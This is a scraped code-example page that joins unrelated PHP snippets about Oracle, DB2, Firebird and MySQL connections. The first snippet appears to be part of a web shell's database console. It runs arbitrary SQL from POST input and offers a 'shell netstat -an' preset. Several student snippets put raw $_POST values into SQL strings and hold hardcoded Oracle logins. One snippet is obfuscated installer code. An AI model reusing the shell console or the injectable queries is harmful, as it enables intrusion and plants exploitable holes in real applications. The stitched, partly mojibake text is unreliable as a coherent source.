                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}
Ejemplo n.º 25
0
<?php 
/* Test Oracle file for UBC CPSC304 2006 Winter Term 2
   Created by Jiemin Zhang
   This file shows how to get the values from user 
 
   The script assumes you already have a server set up 
   ALL OCI commands are commands to the Oracle libraries
   To get the file to work, you must place it somewhere where
   Apache server can run it, and you must rename it to have a ".php"
   extension. You must also change the ora_i0r7 and a41671785 on the 
   OCILogon below to be your ORACLE username and password */
if ($db_conn = OCILogon("ora_i0r7", "a41671785", "ug")) {
    echo "Successfully connected to Oracle.<br>";
    //Insert data got from user...
    $number = $_POST['NO'];
    // get variables from previous page
    $name = $_POST['name'];
    if ($number && $name) {
        $cmdstr = "insert into tab1 values ({$number}, '{$name}')";
        $parsed = OCIParse($db_conn, $cmdstr);
        if (!$parsed) {
            $e = OCIError($db_conn);
            echo htmlentities($e['message']);
            exit;
        }
        $r = OCIExecute($parsed, OCI_DEFAULT);
        if (!$r) {
            $e = oci_error($parsed);
            echo htmlentities($e['message']);
            exit;
Ejemplo n.º 26
0
        <button type="submit" value="Change" class="btn btn-lg btn-primary btn-block" name ="Change"> Change Value!</button>
      </form>

    </div> <!-- /container -->


    <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
    <script src="../../assets/js/ie10-viewport-bug-workaround.js"></script>
  </body>

<?php 
//this tells the system that it's no longer just parsing
//html; it's now parsing PHP
$success = True;
//keep track of errors so it redirects the page only if there are no errors
$db_conn = OCILogon("ora_p2n8", "a36523124", "ug");
function executePlainSQL($cmdstr)
{
    //takes a plain (no bound variables) SQL command and executes it
    //echo "<br>running ".$cmdstr."<br>";
    global $db_conn, $success;
    $statement = OCIParse($db_conn, $cmdstr);
    //There is a set of comments at the end of the file that describe some of the OCI specific functions and how they work
    if (!$statement) {
        $e = OCI_Error($db_conn);
        // For OCIParse errors pass the
        // connection handle
        echo "<div class='alert alert-danger' role='alert'>";
        echo "<span class='glyphicon glyphicon-exclamation-sign' aria-hidden='true'></span>";
        echo "<span class='sr-only'>Error:</span>";
        echo htmlentities($e['message']);
Ejemplo n.º 27
0
<?php

//this tells the system that it's no longer just parsing
//html; it's now parsing PHP
include 'credentials.php';
$success = True;
//keep track of errors so it redirects the page only if there are no errors
$db_conn = OCILogon("ora_" . $csid, "a" . $studentnum, "ug");
$e;
function executePlainSQL($cmdstr)
{
    //takes a plain (no bound variables) SQL command and executes it
    //echo "<br>running ".$cmdstr."<br>";
    global $db_conn, $success, $e;
    $statement = OCIParse($db_conn, $cmdstr);
    //There is a set of comments at the end of the file that describe some of the OCI specific functions and how they work
    if (!$statement) {
        echo "<br>Cannot parse the following command: " . $cmdstr . "<br>";
        $e = OCI_Error($db_conn);
        // For OCIParse errors pass the
        // connection handle
        echo htmlentities($e['message']);
        $success = False;
    }
    $r = OCIExecute($statement, OCI_DEFAULT);
    if (!$r) {
        echo "<br>Cannot execute the following command: " . $cmdstr . "<br>";
        $e = oci_error($statement);
        // For OCIExecute errors pass the statementhandle
        echo htmlentities($e['message']);
        $success = False;
Ejemplo n.º 28
0
 function CreateOracle()
 {
     if ($this->_791152579) {
         $_1500022635 = @OCILogon($this->_1521371254, $this->_1232602102, $this->dbName);
     } else {
         $_1500022635 = @OCILogon($this->_967147829, $this->_374022743, $this->dbName);
     }
     if (!$_1500022635) {
         $_794032048 = OCIError();
         $this->SetError(InstallGetMessage(___125355289(1035)) . ___125355289(1036) . $_794032048[___125355289(1037)] . ___125355289(1038));
         return false;
     }
     if ($this->utf8) {
         $_1787318383 = ___125355289(1039);
         $_270900782 = @OCIParse($_1500022635, $_1787318383);
         $_1877364487 = array();
         if (!$_270900782 || !@OCIExecute($_270900782) || !OCIFetchstatement($_270900782, $_1877364487, min(238, 0, 79.333333333333), -round(0 + 1), OCI_FETCHSTATEMENT_BY_ROW)) {
             $_1193583080 = OCIError($_270900782);
             $this->SetError(InstallGetMessage(___125355289(1040)) . ($_1193583080[___125355289(1041)] ? ___125355289(1042) . $_1193583080[___125355289(1043)] . ___125355289(1044) : ___125355289(1045)));
             return false;
         }
         $_489480191 = array(___125355289(1046) => ___125355289(1047), ___125355289(1048) => ___125355289(1049));
         foreach ($_1877364487 as $_2045519966) {
             $_489480191[$_2045519966[___125355289(1050)]] = $_2045519966[___125355289(1051)];
         }
         $_1170382193 = array(___125355289(1052), ___125355289(1053));
         if ($_489480191[___125355289(1054)] != ___125355289(1055) || !$GLOBALS['____1308158154'][251]($_489480191[___125355289(1056)], $_1170382193)) {
             $this->SetError(InstallGetMessage(___125355289(1057)));
             return false;
         }
     }
     if ($this->_791152579) {
         $_1787318383 = ___125355289(1058) . $this->_967147829 . ___125355289(1059) . $this->_374022743 . ___125355289(1060);
         $_270900782 = @OCIParse($_1500022635, $_1787318383);
         if (!$_270900782 || !@OCIExecute($_270900782)) {
             $_1193583080 = OCIError($_270900782);
             $this->SetError(InstallGetMessage(___125355289(1061)) . ($_1193583080[___125355289(1062)] ? ___125355289(1063) . $_1193583080[___125355289(1064)] . ___125355289(1065) : ___125355289(1066)));
             return false;
         }
         $_1787318383 = ___125355289(1067) . $this->_967147829;
         $_270900782 = @OCIParse($_1500022635, $_1787318383);
         if (!$_270900782 || !@OCIExecute($_270900782)) {
             $_1193583080 = OCIError($_270900782);
             $this->SetError(InstallGetMessage(___125355289(1068)) . ($_1193583080[___125355289(1069)] ? ___125355289(1070) . $_1193583080[___125355289(1071)] . ___125355289(1072) : ___125355289(1073)));
             return false;
         }
         $_1787318383 = ___125355289(1074) . $this->_967147829;
         $_270900782 = @OCIParse($_1500022635, $_1787318383);
         @OCIExecute($_270900782);
     }
     $_270900782 = @OCIParse($_1500022635, ___125355289(1075));
     @OCIExecute($_270900782);
     $_270900782 = @OCIParse($_1500022635, ___125355289(1076));
     @OCIExecute($_270900782);
     if ($GLOBALS['____1308158154'][252](___125355289(1077)) || isset($_COOKIE[___125355289(1078)]) && $_COOKIE[___125355289(1079)] == ___125355289(1080)) {
         $_746120631 = ___125355289(1081);
     }
     $_270900782 = @OCIParse($_1500022635, $_746120631);
     @OCIExecute($_270900782);
     return true;
 }
Ejemplo n.º 29
0
				</form>
				<p>
				<?php 
extract($_POST);
$iserror = false;
$unit_code = $_REQUEST["unit_code"];
$unit_code = strtoupper($unit_code);
if ($unit_code == "") {
    $formerror["unit_code"] = true;
    $iserror = true;
}
if (!$iserror) {
    $dbuser = "******";
    $dbpass = "******";
    $db = "SSID";
    $connect = OCILogon($dbuser, $dbpass, $db);
    if (!$connect) {
        echo "<br />There was an error connecting to the database.";
        exit;
    }
    $query = "select * from book_table where unit_code = '{$unit_code}'";
    $stmt = OCIParse($connect, $query);
    if (!$stmt) {
        echo "An error occured in parsing the sql string.\n";
        exit;
    }
    OCIExecute($stmt);
    ?>
				<table>
					
					<?php 
Ejemplo n.º 30
0
function db_connect($host_db, $username, $password, $db = '', $port = 0)
{
    global $_connect_id;
    global $db_type;
    global $debug;
    if ($db_type == "mysql") {
        if ($port != 0) {
            $host_db .= ":{$port}";
        }
        // Connect to the database
        $cid = mysql_pconnect($host_db, $username, $password);
        if ($errorString = mysql_error()) {
            if ($debug) {
                die(printError(" db_connect: Could not connect to host {$host_db}: {$errorString}"));
            } else {
                die("db_connect: Could not connect to host {$host_db}. Set \$cfg['debug'] to 1 for more information.");
            }
        }
        $_connect_id = $cid;
        // save the cid var for later use
        // now that we have a good connection, let's set the database to use
        mysql_select_db($db);
        if ($errorString = mysql_error()) {
            if ($debug) {
                die(printError("db_connect: Could not select database {$db}: {$errorString}"));
            } else {
                die("db_connect: Could not select database {$db}. Set \$cfg['debug'] to 1 for more information.");
            }
        }
        return $cid;
        // done
    } else {
        if ($db_type == "oracle") {
            $cid = OCILogon($username, $password, $host_db) or ocidie(printError("db_connect: Could not connect to database {$host_db}"));
            $_connect_id = $cid;
            // save the cid var for later use
            return $cid;
            // done
        }
    }
}